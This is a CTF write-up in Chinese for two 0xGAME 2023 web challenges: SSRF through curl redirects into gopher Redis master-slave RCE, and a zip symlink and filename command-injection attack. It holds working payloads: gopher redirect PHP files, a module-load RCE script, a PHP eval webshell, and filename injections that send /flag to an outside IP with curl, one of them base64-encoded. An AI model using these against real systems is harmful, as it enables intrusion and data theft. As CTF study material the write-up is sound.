0xgame2023 Writeup

0xGAME

Week3

web_snapshot

好题目,学习一下

首先传入的URL有http:// or https://的正则匹配,所以一般来说伪协议file://, gopher://都不能直接传入,那么似乎就没办法很愉快的ssrf了,然而这个时候就得回去仔细看看源码是不是有遗漏的东西

1
2
3
4
5
6
7
8
9
10
1 function _get($url) {
2 $curl = curl_init();
3 curl_setopt($curl, CURLOPT_URL, $url);
4 curl_setopt($curl, CURLOPT_HEADER, 0);
5 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
6 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
7 $data = curl_exec($curl);
8 curl_close($curl);
9 return $data;
10 }

可以看到curl这个老熟人是我们感兴趣的,注意第5行,设置了CURLOPT_FOLLOWLOCATION为True

查Manual可知,这是容许curl请求URL的时候进行重定向的方法,那么重定向就可以使用伪协议,接着PoC一下

1
2
3
<?php
header('Location: http://www.baidu.com');
?>

在vps执行php -S 0.0.0.0:52000,等于是用php起一个http-server

上面这个实例直接用http访问就可以发现重定向到了百度,所以用header是可以修改响应头的

疑似得加?>不然重定向就会失败,接下来试一下伪协议的读取

1
2
3
<?php
header('Location: file:///Jex/server/1.txt');
?>

不知道为什么用curl_exec读不了,不重定向的话是可以读的,重定向就读不出来了((

用http访问的话还是能看到响应头Location变成file:///Jex/server/1.txt的,状态码也是302

先放一边,只是读不到特定的数据但是访问状态码还是302

接着就是ssrf+redis主从复制组合拳的内容了,看writeup都踩了不少坑,是我理解能力问题了

Redis主从复制getshell技巧

redis 主从复制 RCE

实际上redis主从复制的原理就是主从之间数据的同步,一般是通过命令将靶机作为攻击机的slave

获取其中的数据或者写入恶意.so文件(攻击机上有.so)并加载模块实现RCE,这里贴几个exp

Redis Rogue Server :redis-rogue-server.py

Redis Rogue Server :redis-master.py

首先判断我们没办法直接连接redis然后再客户端进行操作,所以需要根据可传入的信息进行SSRF

那么可以传入的也就只有curl的URL了,仅有的http协议没有什么作用,所以需要用伪协议扩大攻击面

正好可以通过gopher://或者dict://伪协议进行redis主从复制RCE,所以用这个办法打redis

首先我们要明确gopher://可以发送HTTP数据包,那么就可以利用gopher://来向redis进行通信

但是得注意gopher://有几个小坑,接下来我会一一列举一下,具体可参考

Gopher协议在SSRF漏洞中的深入研究

  • 必须固定格式gopher://url/_\<payload>,gopher会忽略接收到url后的第一个字符,所以要用下划线占位
  • 问号(?)需要转码为URL编码,也就是%3f
  • 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  • 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束

那么该如何利用gopher://呢?首先我们要对redis会把传给它的HTTP数据包每一行都当做命令来执行,详见

Trying to hack Redis via HTTP requests

由此我们便能通过gopher://来控制redis跑我们想要它执行的命令(例如slaveof),那么接下来就讲一下过程

Make use of it

首先生成一下跑命令用的payload,套用X1r0z的脚本跑一下,修改一下某些参数,这里贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import re

#URL编码
def urlencode(data):
enc_data = ''
for i in data:
h = str(hex(ord(i))).replace('0x', '')
if len(h) == 1:
enc_data += '%0' + h.upper()
else:
enc_data += '%' + h.upper()
return enc_data

#gopher_payload生成
def gen_payload(payload):

redis_payload = ''

for i in payload.split('\n'):
arg_num = '*' + str(len(i.split(' ')))
redis_payload += arg_num + '\r\n'
for j in i.split(' '):
arg_len = '$' + str(len(j))
redis_payload += arg_len + '\r\n'
redis_payload += j + '\r\n'

gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload)
return gopher_payload

#主从复制
payload1 = '''
slaveof 8.140.253.18 51997
config set dir /tmp
config set dbfilename exp.so
quit
'''

#执行RCE
payload2 = '''slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
'''

print(gen_payload(payload1))
print(gen_payload(payload2))

以后碰到SSRF+redis主从复制也可以套用的(等着什么时候做个汇总

拿到payload以后,由于需要让curl通过http重定向到gopher,所以在vps上开个php服务,记得端口不要和payload的端口一致,待会还要用redis-rogue-server.py监听payload端口的

先写php文件实现重定向,然后shell上开服务

1
2
3
<?php
header('Location: gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%31%32%0D%0A%38%2E%31%34%30%2E%32%35%33%2E%31%38%0D%0A%24%35%0D%0A%35%31%39%39%37%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
?> #1.php
1
2
3
<?php
header('Location: gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
?> #2.php

在当前文件夹下执行php -S 0.0.0.0:52000,可以试着用浏览器自己访问一下是否修改了请求头

然后注意,要加载.so恶意文件的话,你master下面肯定得有对不对,所以还得先git clone一下

并且看到生成payload的exp.so文件放在/tmp目录下,所以得在/tmp下克隆,用哪个其实都是可以的

1
git clone https://github.com/Dliv3/redis-rogue-server.git

另起一个vps窗口,进入/tmp目录复制仓库后,照redis-rogue-server.py`的help开一下监听,这里是被动连接

1
python3 redis-rogue-server.py --lport 51997 --server-only

记得lport的端口要和payload的端口一致

至于我踩的坑那就是我用nc去监听了,结果一直卡在PING就毫无响应,实际上这样是没法调用.so

——————————————————————————————————————————————————

zip_manager

这个也学习一下,关于zip软链接的使用,如果使用unzip命令解压缩压缩文件的话就会引起这个问题

当你通过ln命令将一个目录和一个路径关联起来,那么对这个目录的操作都会指向关联的那个路径

1
ln -s / test

这就代表test指向了/目录,用ls -liah能看到test -> /这样的信息,所以我们只需要对test进行压缩

1
2
zip -y test.zip ./test
#-y:保留软连接压缩

这样解压出的test的读或者写都会表示在/下的读或者写,如果说解压缩但是没有回显给你,那么可以考虑写马

只需要添加一步操作,在同名test目录(可以不是这个test目录)下写一个一句话木马,然后再压缩一遍

1
2
cd ./test;echo "<?php @eval($_GET['cmd']);?>" > cmd.php;cd ..
zip -y test1.zip ./test

第一次先传入test.zip,解压缩出来的test会指向根目录;第二次再传test1.zip,解压出的test会覆盖原来的test,但是软链接的属性仍然还在,所以会把cmd.php写入根目录,或者直接一步完成(如果题目条件可观

题解里还有拼接命令RCE,这里也贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/unzip', methods=['POST'])
def unzip():
f = request.files.get('file')
if not f.filename.endswith('.zip'):
return redirect('/')

user_dir = os.path.join('./uploads', md5(request.remote_addr))
if not os.path.exists(user_dir):
os.mkdir(user_dir)

zip_path = os.path.join(user_dir, f.filename)
dest_path = os.path.join(user_dir, f.filename[:-4])
f.save(zip_path)

os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
return redirect('/')

可以看到os.system执行了系统命令,而且通过格式化字符串拼接了可传入的参数,那么这里就文章可做了

我们知道linux命令如果用分号隔开是可以一行执行多条命令的,所以我们只需要满足后缀为.zip,在中间写入我们想要执行的命令,并用分号隔开就可以了,但是因为没有回显,所以考虑curl外带出flag

但是得用base64编码过后echo发包(埋个坑),如果用初始curl发包的话会500_status

burp抓/unzip路由下的包,修改filename如下

1
2
3
test.zip;curl 8.140.253.18:51996 -T /flag;1.zip
#base64编码过后echo发包
test.zip;echo Y3VybCA4LjE0MC4yNTMuMTg6NTE5OTYgLVQgL2ZsYWc=|base64 -d|bash;1.zip

——————————————————————————————————————————————————

Week4


0xgame2023 Writeup
http://example.com/2023/12/07/0xGAME/
作者
Jednersaous
发布于
2023年12月7日
许可协议